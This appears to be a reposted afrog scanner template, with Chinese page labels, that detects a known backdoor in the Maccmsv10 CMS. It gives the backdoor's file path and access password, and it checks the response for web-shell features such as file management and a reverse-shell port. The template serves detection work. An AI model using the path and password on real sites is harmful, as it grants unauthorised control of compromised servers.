maccmsv10-backdoor: Maccmsv10 Backdoor

PoC代码[已公开]

id: maccmsv10-backdoor

info:
  name: Maccmsv10 Backdoor
  author: FiveAourThe
  severity: critical
  description: |-
    Maccmsv10 Backdoor
  tags: maccmsv10,backdoor
  created: 2025/03/27

rules:
  r0:
    request:
      method: POST
      path: /extend/Qcloud/Sms/Sms.php
      body: getpwd=WorldFilledWithLove
    expression: response.status == 200 && response.body.bcontains(b"扫描后门") && response.body.bcontains(b"反弹端口") && response.body.bcontains(b"文件管理")
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/maccmsv10-backdoor.yaml

漏洞描述

PoC代码[已公开]